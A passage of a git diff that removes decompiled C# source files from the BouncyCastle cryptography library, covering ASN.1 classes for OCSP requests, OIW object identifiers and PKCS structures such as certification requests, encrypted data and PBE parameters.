Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(certID, certStatus, thisUpdate); - if (nextUpdate != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, nextUpdate)); - } - if (singleExtensions != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 1, singleExtensions)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/TbsRequest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/TbsRequest.cs deleted file mode 100644 index 550bef5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Ocsp/TbsRequest.cs +++ /dev/null @@ -1,106 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Ocsp; - -public class TbsRequest : Asn1Encodable -{ - private static readonly DerInteger V1 = new DerInteger(0); - - private readonly DerInteger version; - - private readonly GeneralName requestorName; - - private readonly Asn1Sequence requestList; - - private readonly X509Extensions requestExtensions; - - private bool versionSet; - - public DerInteger Version => version; - - public GeneralName RequestorName => requestorName; - - public Asn1Sequence RequestList => requestList; - - public X509Extensions RequestExtensions => requestExtensions; - - public static TbsRequest GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(Asn1Sequence.GetInstance(obj, explicitly)); - } - - public static TbsRequest GetInstance(object obj) - { - if (obj == null || obj is TbsRequest) - { - return (TbsRequest)obj; - } - if (obj is Asn1Sequence) - { - return new TbsRequest((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public TbsRequest(GeneralName requestorName, Asn1Sequence requestList, X509Extensions requestExtensions) - { - version = V1; - this.requestorName = requestorName; - this.requestList = requestList; - this.requestExtensions = requestExtensions; - } - - private TbsRequest(Asn1Sequence seq) - { - int num = 0; - Asn1Encodable asn1Encodable = seq[0]; - if (asn1Encodable is Asn1TaggedObject) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)asn1Encodable; - if (asn1TaggedObject.TagNo == 0) - { - versionSet = true; - version = DerInteger.GetInstance(asn1TaggedObject, isExplicit: true); - num++; - } - else - { - version = V1; - } - } - else - { - version = V1; - } - if (seq[num] is Asn1TaggedObject) - { - requestorName = GeneralName.GetInstance((Asn1TaggedObject)seq[num++], explicitly: true); - } - requestList = (Asn1Sequence)seq[num++]; - if (seq.Count == num + 1) - { - requestExtensions = X509Extensions.GetInstance((Asn1TaggedObject)seq[num], explicitly: true); - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (!version.Equals(V1) || versionSet) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, version)); - } - if (requestorName != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 1, requestorName)); - } - asn1EncodableVector.Add(requestList); - if (requestExtensions != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 2, requestExtensions)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/OidTokenizer.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/OidTokenizer.cs deleted file mode 100644 index 999748a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/OidTokenizer.cs +++ /dev/null @@ -1,33 +0,0 @@ -namespace Org.BouncyCastle.Asn1; - -public class OidTokenizer -{ - private string oid; - - private int index; - - public bool HasMoreTokens => index != -1; - - public OidTokenizer(string oid) - { - this.oid = oid; - } - - public string NextToken() - { - if (index == -1) - { - return null; - } - int num = oid.IndexOf('.', index); - if (num == -1) - { - string result = oid.Substring(index); - index = -1; - return result; - } - string result2 = oid.Substring(index, num - index); - index = num + 1; - return result2; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Oiw/ElGamalParameter.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Oiw/ElGamalParameter.cs deleted file mode 100644 index e3b0f98..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Oiw/ElGamalParameter.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Asn1.Oiw; - -public class ElGamalParameter : Asn1Encodable -{ - internal DerInteger p; - - internal DerInteger g; - - public BigInteger P => p.PositiveValue; - - public BigInteger G => g.PositiveValue; - - public ElGamalParameter(BigInteger p, BigInteger g) - { - this.p = new DerInteger(p); - this.g = new DerInteger(g); - } - - public ElGamalParameter(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Wrong number of elements in sequence", "seq"); - } - p = DerInteger.GetInstance(seq[0]); - g = DerInteger.GetInstance(seq[1]); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(p, g); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Oiw/OiwObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Oiw/OiwObjectIdentifiers.cs deleted file mode 100644 index 675b481..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Oiw/OiwObjectIdentifiers.cs +++ /dev/null @@ -1,28 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Oiw; - -public abstract class OiwObjectIdentifiers -{ - public static readonly DerObjectIdentifier MD4WithRsa = new DerObjectIdentifier("1.3.14.3.2.2"); - - public static readonly DerObjectIdentifier MD5WithRsa = new DerObjectIdentifier("1.3.14.3.2.3"); - - public static readonly DerObjectIdentifier MD4WithRsaEncryption = new DerObjectIdentifier("1.3.14.3.2.4"); - - public static readonly DerObjectIdentifier DesEcb = new DerObjectIdentifier("1.3.14.3.2.6"); - - public static readonly DerObjectIdentifier DesCbc = new DerObjectIdentifier("1.3.14.3.2.7"); - - public static readonly DerObjectIdentifier DesOfb = new DerObjectIdentifier("1.3.14.3.2.8"); - - public static readonly DerObjectIdentifier DesCfb = new DerObjectIdentifier("1.3.14.3.2.9"); - - public static readonly DerObjectIdentifier DesEde = new DerObjectIdentifier("1.3.14.3.2.17"); - - public static readonly DerObjectIdentifier IdSha1 = new DerObjectIdentifier("1.3.14.3.2.26"); - - public static readonly DerObjectIdentifier DsaWithSha1 = new DerObjectIdentifier("1.3.14.3.2.27"); - - public static readonly DerObjectIdentifier Sha1WithRsa = new DerObjectIdentifier("1.3.14.3.2.29"); - - public static readonly DerObjectIdentifier ElGamalAlgorithm = new DerObjectIdentifier("1.3.14.7.2.1.1"); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/AttributePkcs.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/AttributePkcs.cs deleted file mode 100644 index f393920..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/AttributePkcs.cs +++ /dev/null @@ -1,50 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class AttributePkcs : Asn1Encodable -{ - private readonly DerObjectIdentifier attrType; - - private readonly Asn1Set attrValues; - - public DerObjectIdentifier AttrType => attrType; - - public Asn1Set AttrValues => attrValues; - - public static AttributePkcs GetInstance(object obj) - { - AttributePkcs attributePkcs = obj as AttributePkcs; - if (obj == null || attributePkcs != null) - { - return attributePkcs; - } - if (obj is Asn1Sequence seq) - { - return new AttributePkcs(seq); - } - throw new ArgumentException("Unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private AttributePkcs(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Wrong number of elements in sequence", "seq"); - } - attrType = DerObjectIdentifier.GetInstance(seq[0]); - attrValues = Asn1Set.GetInstance(seq[1]); - } - - public AttributePkcs(DerObjectIdentifier attrType, Asn1Set attrValues) - { - this.attrType = attrType; - this.attrValues = attrValues; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(attrType, attrValues); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/AuthenticatedSafe.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/AuthenticatedSafe.cs deleted file mode 100644 index 9f6ebc8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/AuthenticatedSafe.cs +++ /dev/null @@ -1,30 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class AuthenticatedSafe : Asn1Encodable -{ - private readonly ContentInfo[] info; - - public AuthenticatedSafe(Asn1Sequence seq) - { - info = new ContentInfo[seq.Count]; - for (int i = 0; i != info.Length; i++) - { - info[i] = ContentInfo.GetInstance(seq[i]); - } - } - - public AuthenticatedSafe(ContentInfo[] info) - { - this.info = (ContentInfo[])info.Clone(); - } - - public ContentInfo[] GetContentInfo() - { - return (ContentInfo[])info.Clone(); - } - - public override Asn1Object ToAsn1Object() - { - return new BerSequence(info); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/CertBag.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/CertBag.cs deleted file mode 100644 index 979a1de..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/CertBag.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class CertBag : Asn1Encodable -{ - private readonly DerObjectIdentifier certID; - - private readonly Asn1Object certValue; - - public DerObjectIdentifier CertID => certID; - - public Asn1Object CertValue => certValue; - - public CertBag(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Wrong number of elements in sequence", "seq"); - } - certID = DerObjectIdentifier.GetInstance(seq[0]); - certValue = Asn1TaggedObject.GetInstance(seq[1]).GetObject(); - } - - public CertBag(DerObjectIdentifier certID, Asn1Object certValue) - { - this.certID = certID; - this.certValue = certValue; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(certID, new DerTaggedObject(0, certValue)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/CertificationRequest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/CertificationRequest.cs deleted file mode 100644 index d57bd8e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/CertificationRequest.cs +++ /dev/null @@ -1,68 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class CertificationRequest : Asn1Encodable -{ - protected CertificationRequestInfo reqInfo; - - protected AlgorithmIdentifier sigAlgId; - - protected DerBitString sigBits; - - public AlgorithmIdentifier SignatureAlgorithm => sigAlgId; - - public DerBitString Signature => sigBits; - - public static CertificationRequest GetInstance(object obj) - { - if (obj is CertificationRequest) - { - return (CertificationRequest)obj; - } - if (obj != null) - { - return new CertificationRequest((Asn1Sequence)obj); - } - return null; - } - - protected CertificationRequest() - { - } - - public CertificationRequest(CertificationRequestInfo requestInfo, AlgorithmIdentifier algorithm, DerBitString signature) - { - reqInfo = requestInfo; - sigAlgId = algorithm; - sigBits = signature; - } - - [Obsolete("Use 'GetInstance' instead")] - public CertificationRequest(Asn1Sequence seq) - { - if (seq.Count != 3) - { - throw new ArgumentException("Wrong number of elements in sequence", "seq"); - } - reqInfo = CertificationRequestInfo.GetInstance(seq[0]); - sigAlgId = AlgorithmIdentifier.GetInstance(seq[1]); - sigBits = DerBitString.GetInstance(seq[2]); - } - - public CertificationRequestInfo GetCertificationRequestInfo() - { - return reqInfo; - } - - public byte[] GetSignatureOctets() - { - return sigBits.GetOctets(); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(reqInfo, sigAlgId, sigBits); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/CertificationRequestInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/CertificationRequestInfo.cs deleted file mode 100644 index b1b5bd9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/CertificationRequestInfo.cs +++ /dev/null @@ -1,92 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class CertificationRequestInfo : Asn1Encodable -{ - internal DerInteger version = new DerInteger(0); - - internal X509Name subject; - - internal SubjectPublicKeyInfo subjectPKInfo; - - internal Asn1Set attributes; - - public DerInteger Version => version; - - public X509Name Subject => subject; - - public SubjectPublicKeyInfo SubjectPublicKeyInfo => subjectPKInfo; - - public Asn1Set Attributes => attributes; - - public static CertificationRequestInfo GetInstance(object obj) - { - if (obj is CertificationRequestInfo) - { - return (CertificationRequestInfo)obj; - } - if (obj != null) - { - return new CertificationRequestInfo(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - public CertificationRequestInfo(X509Name subject, SubjectPublicKeyInfo pkInfo, Asn1Set attributes) - { - this.subject = subject; - subjectPKInfo = pkInfo; - this.attributes = attributes; - ValidateAttributes(attributes); - if (subject == null || version == null || subjectPKInfo == null) - { - throw new ArgumentException("Not all mandatory fields set in CertificationRequestInfo generator."); - } - } - - private CertificationRequestInfo(Asn1Sequence seq) - { - version = (DerInteger)seq[0]; - subject = X509Name.GetInstance(seq[1]); - subjectPKInfo = SubjectPublicKeyInfo.GetInstance(seq[2]); - if (seq.Count > 3) - { - DerTaggedObject obj = (DerTaggedObject)seq[3]; - attributes = Asn1Set.GetInstance(obj, explicitly: false); - } - ValidateAttributes(attributes); - if (subject == null || version == null || subjectPKInfo == null) - { - throw new ArgumentException("Not all mandatory fields set in CertificationRequestInfo generator."); - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(version, subject, subjectPKInfo); - if (attributes != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, attributes)); - } - return new DerSequence(asn1EncodableVector); - } - - private static void ValidateAttributes(Asn1Set attributes) - { - if (attributes == null) - { - return; - } - foreach (Asn1Encodable attribute in attributes) - { - Asn1Object obj = attribute.ToAsn1Object(); - AttributePkcs instance = AttributePkcs.GetInstance(obj); - if (instance.AttrType.Equals(PkcsObjectIdentifiers.Pkcs9AtChallengePassword) && instance.AttrValues.Count != 1) - { - throw new ArgumentException("challengePassword attribute must have one value"); - } - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/ContentInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/ContentInfo.cs deleted file mode 100644 index e3a2145..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/ContentInfo.cs +++ /dev/null @@ -1,50 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class ContentInfo : Asn1Encodable -{ - private readonly DerObjectIdentifier contentType; - - private readonly Asn1Encodable content; - - public DerObjectIdentifier ContentType => contentType; - - public Asn1Encodable Content => content; - - public static ContentInfo GetInstance(object obj) - { - if (obj == null) - { - return null; - } - if (obj is ContentInfo result) - { - return result; - } - return new ContentInfo(Asn1Sequence.GetInstance(obj)); - } - - private ContentInfo(Asn1Sequence seq) - { - contentType = (DerObjectIdentifier)seq[0]; - if (seq.Count > 1) - { - content = ((Asn1TaggedObject)seq[1]).GetObject(); - } - } - - public ContentInfo(DerObjectIdentifier contentType, Asn1Encodable content) - { - this.contentType = contentType; - this.content = content; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(contentType); - if (content != null) - { - asn1EncodableVector.Add(new BerTaggedObject(0, content)); - } - return new BerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/DHParameter.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/DHParameter.cs deleted file mode 100644 index f765ce9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/DHParameter.cs +++ /dev/null @@ -1,62 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class DHParameter : Asn1Encodable -{ - internal DerInteger p; - - internal DerInteger g; - - internal DerInteger l; - - public BigInteger P => p.PositiveValue; - - public BigInteger G => g.PositiveValue; - - public BigInteger L - { - get - { - if (l != null) - { - return l.PositiveValue; - } - return null; - } - } - - public DHParameter(BigInteger p, BigInteger g, int l) - { - this.p = new DerInteger(p); - this.g = new DerInteger(g); - if (l != 0) - { - this.l = new DerInteger(l); - } - } - - public DHParameter(Asn1Sequence seq) - { - IEnumerator enumerator = seq.GetEnumerator(); - enumerator.MoveNext(); - p = (DerInteger)enumerator.Current; - enumerator.MoveNext(); - g = (DerInteger)enumerator.Current; - if (enumerator.MoveNext()) - { - l = (DerInteger)enumerator.Current; - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(p, g); - if (l != null) - { - asn1EncodableVector.Add(l); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/EncryptedData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/EncryptedData.cs deleted file mode 100644 index a6e9fd7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/EncryptedData.cs +++ /dev/null @@ -1,63 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class EncryptedData : Asn1Encodable -{ - private readonly Asn1Sequence data; - - public DerObjectIdentifier ContentType => (DerObjectIdentifier)data[0]; - - public AlgorithmIdentifier EncryptionAlgorithm => AlgorithmIdentifier.GetInstance(data[1]); - - public Asn1OctetString Content - { - get - { - if (data.Count == 3) - { - DerTaggedObject obj = (DerTaggedObject)data[2]; - return Asn1OctetString.GetInstance(obj, isExplicit: false); - } - return null; - } - } - - public static EncryptedData GetInstance(object obj) - { - if (obj is EncryptedData) - { - return (EncryptedData)obj; - } - if (obj is Asn1Sequence) - { - return new EncryptedData((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private EncryptedData(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Wrong number of elements in sequence", "seq"); - } - if (((DerInteger)seq[0]).Value.IntValue != 0) - { - throw new ArgumentException("sequence not version 0"); - } - data = (Asn1Sequence)seq[1]; - } - - public EncryptedData(DerObjectIdentifier contentType, AlgorithmIdentifier encryptionAlgorithm, Asn1Encodable content) - { - data = new BerSequence(contentType, encryptionAlgorithm.ToAsn1Object(), new BerTaggedObject(explicitly: false, 0, content)); - } - - public override Asn1Object ToAsn1Object() - { - return new BerSequence(new DerInteger(0), data); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/EncryptedPrivateKeyInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/EncryptedPrivateKeyInfo.cs deleted file mode 100644 index c32594b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/EncryptedPrivateKeyInfo.cs +++ /dev/null @@ -1,53 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class EncryptedPrivateKeyInfo : Asn1Encodable -{ - private readonly AlgorithmIdentifier algId; - - private readonly Asn1OctetString data; - - public AlgorithmIdentifier EncryptionAlgorithm => algId; - - private EncryptedPrivateKeyInfo(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Wrong number of elements in sequence", "seq"); - } - algId = AlgorithmIdentifier.GetInstance(seq[0]); - data = Asn1OctetString.GetInstance(seq[1]); - } - - public EncryptedPrivateKeyInfo(AlgorithmIdentifier algId, byte[] encoding) - { - this.algId = algId; - data = new DerOctetString(encoding); - } - - public static EncryptedPrivateKeyInfo GetInstance(object obj) - { - if (obj is EncryptedPrivateKeyInfo) - { - return (EncryptedPrivateKeyInfo)obj; - } - if (obj is Asn1Sequence) - { - return new EncryptedPrivateKeyInfo((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public byte[] GetEncryptedData() - { - return data.GetOctets(); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(algId, data); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/EncryptionScheme.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/EncryptionScheme.cs deleted file mode 100644 index 6ef25f2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/EncryptionScheme.cs +++ /dev/null @@ -1,43 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class EncryptionScheme : AlgorithmIdentifier -{ - public Asn1Object Asn1Object => Parameters.ToAsn1Object(); - - public EncryptionScheme(DerObjectIdentifier objectID) - : base(objectID) - { - } - - public EncryptionScheme(DerObjectIdentifier objectID, Asn1Encodable parameters) - : base(objectID, parameters) - { - } - - internal EncryptionScheme(Asn1Sequence seq) - : this((DerObjectIdentifier)seq[0], seq[1]) - { - } - - public new static EncryptionScheme GetInstance(object obj) - { - if (obj is EncryptionScheme) - { - return (EncryptionScheme)obj; - } - if (obj is Asn1Sequence) - { - return new EncryptionScheme((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(Algorithm, Parameters); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/IssuerAndSerialNumber.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/IssuerAndSerialNumber.cs deleted file mode 100644 index ede0b01..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/IssuerAndSerialNumber.cs +++ /dev/null @@ -1,57 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class IssuerAndSerialNumber : Asn1Encodable -{ - private readonly X509Name name; - - private readonly DerInteger certSerialNumber; - - public X509Name Name => name; - - public DerInteger CertificateSerialNumber => certSerialNumber; - - public static IssuerAndSerialNumber GetInstance(object obj) - { - if (obj is IssuerAndSerialNumber) - { - return (IssuerAndSerialNumber)obj; - } - if (obj is Asn1Sequence) - { - return new IssuerAndSerialNumber((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private IssuerAndSerialNumber(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Wrong number of elements in sequence", "seq"); - } - name = X509Name.GetInstance(seq[0]); - certSerialNumber = DerInteger.GetInstance(seq[1]); - } - - public IssuerAndSerialNumber(X509Name name, BigInteger certSerialNumber) - { - this.name = name; - this.certSerialNumber = new DerInteger(certSerialNumber); - } - - public IssuerAndSerialNumber(X509Name name, DerInteger certSerialNumber) - { - this.name = name; - this.certSerialNumber = certSerialNumber; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(name, certSerialNumber); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/KeyDerivationFunc.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/KeyDerivationFunc.cs deleted file mode 100644 index 433fcd0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/KeyDerivationFunc.cs +++ /dev/null @@ -1,16 +0,0 @@ -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class KeyDerivationFunc : AlgorithmIdentifier -{ - internal KeyDerivationFunc(Asn1Sequence seq) - : base(seq) - { - } - - public KeyDerivationFunc(DerObjectIdentifier id, Asn1Encodable parameters) - : base(id, parameters) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/MacData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/MacData.cs deleted file mode 100644 index a1345fc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/MacData.cs +++ /dev/null @@ -1,68 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class MacData : Asn1Encodable -{ - internal DigestInfo digInfo; - - internal byte[] salt; - - internal BigInteger iterationCount; - - public DigestInfo Mac => digInfo; - - public BigInteger IterationCount => iterationCount; - - public static MacData GetInstance(object obj) - { - if (obj is MacData) - { - return (MacData)obj; - } - if (obj is Asn1Sequence) - { - return new MacData((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private MacData(Asn1Sequence seq) - { - digInfo = DigestInfo.GetInstance(seq[0]); - salt = ((Asn1OctetString)seq[1]).GetOctets(); - if (seq.Count == 3) - { - iterationCount = ((DerInteger)seq[2]).Value; - } - else - { - iterationCount = BigInteger.One; - } - } - - public MacData(DigestInfo digInfo, byte[] salt, int iterationCount) - { - this.digInfo = digInfo; - this.salt = (byte[])salt.Clone(); - this.iterationCount = BigInteger.ValueOf(iterationCount); - } - - public byte[] GetSalt() - { - return (byte[])salt.Clone(); - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(digInfo, new DerOctetString(salt)); - if (!iterationCount.Equals(BigInteger.One)) - { - asn1EncodableVector.Add(new DerInteger(iterationCount)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/PbeParameter.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/PbeParameter.cs deleted file mode 100644 index 55714c0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/PbeParameter.cs +++ /dev/null @@ -1,53 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class PbeParameter : Asn1Encodable -{ - private readonly Asn1OctetString salt; - - private readonly DerInteger iterationCount; - - public BigInteger IterationCount => iterationCount.Value; - - public static PbeParameter GetInstance(object obj) - { - if (obj is PbeParameter || obj == null) - { - return (PbeParameter)obj; - } - if (obj is Asn1Sequence) - { - return new PbeParameter((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private PbeParameter(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Wrong number of elements in sequence", "seq"); - } - salt = Asn1OctetString.GetInstance(seq[0]); - iterationCount = DerInteger.GetInstance(seq[1]); - } - - public PbeParameter(byte[] salt, int iterationCount) - { - this.salt = new DerOctetString(salt); - this.iterationCount = new DerInteger(iterationCount); - } - - public byte[] GetSalt() - { - return salt.GetOctets(); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(salt, iterationCount); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/PbeS2Parameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/PbeS2Parameters.cs deleted file mode 100644 index 751499f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/PbeS2Parameters.cs +++ /dev/null @@ -1,57 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class PbeS2Parameters : Asn1Encodable -{ - private readonly KeyDerivationFunc func; - - private readonly EncryptionScheme scheme; - - public KeyDerivationFunc KeyDerivationFunc => func; - - public EncryptionScheme EncryptionScheme => scheme; - - public static PbeS2Parameters GetInstance(object obj) - { - if (obj == null) - { - return null; - } - if (obj is PbeS2Parameters result) - { - return result; - } - return new PbeS2Parameters(Asn1Sequence.GetInstance(obj)); - } - - public PbeS2Parameters(KeyDerivationFunc keyDevFunc, EncryptionScheme encScheme) - { - func = keyDevFunc; - scheme = encScheme; - } - - [Obsolete("Use GetInstance() instead")] - public PbeS2Parameters(Asn1Sequence seq) - { - if (seq.Count != 2) - { - throw new ArgumentException("Wrong number of elements in sequence", "seq"); - } - Asn1Sequence asn1Sequence = 